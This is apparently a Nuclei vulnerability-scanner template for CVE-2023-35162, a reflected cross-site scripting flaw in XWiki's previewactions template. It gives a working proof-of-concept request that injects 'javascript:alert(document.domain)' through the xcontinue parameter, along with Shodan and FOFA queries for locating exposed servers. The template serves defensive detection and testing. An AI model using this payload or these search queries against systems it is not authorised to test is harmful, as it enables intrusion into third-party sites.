CVE-2023-35162: XWiki < 14.10.5 - Cross-Site Scripting

id: CVE-2023-35162

info:
  name: XWiki < 14.10.5 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    XWiki Platform is vulnerable to reflected XSS via the previewactions template. An attacker can inject JavaScript through the xcontinue parameter.
  impact: |
    Successful exploitation could lead to unauthorized access or data theft.
  remediation: |
    Apply the latest patches provided by XWiki to mitigate the vulnerability.
  reference:
    - https://jira.xwiki.org/browse/XWIKI-20342
    - https://github.com/xwiki/xwiki-platform/blob/244dbbaa0738a0c40b19929c0369c8b62ae5236e/xwiki-platform-core/xwiki-platform-flamingo/xwiki-platform-flamingo-skin/xwiki-platform-flamingo-skin-resources/src/main/resources/flamingo/previewactions.vm#L48
    - https://nvd.nist.gov/vuln/detail/CVE-2023-35162
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-35162
    cwe-id: CWE-79
    epss-score: 0.03375
    epss-percentile: 0.8691
    cpe: cpe:2.3:a:xwiki:xwiki:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: xwiki
    product: xwiki
    shodan-query:
      - XWiki
      - xwiki
      - http.html:"data-xwiki-reference"
    fofa-query: "body=\"data-xwiki-reference\""
  tags: cve,cve2023,xwiki,xss

http:
  - method: GET
    path:
      - "{{BaseURL}}/xwiki/bin/get/FlamingoThemes/Cerulean?xpage=xpart&vm=previewactions.vm&xcontinue=javascript:alert(document.domain)"

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "name=\"xcontinue\" value=\"javascript:alert(document.domain)")'
          - 'contains(body, "previewactions.vm")'
          - 'contains(header, "text/html")'
          - 'status_code == 200'
        condition: and
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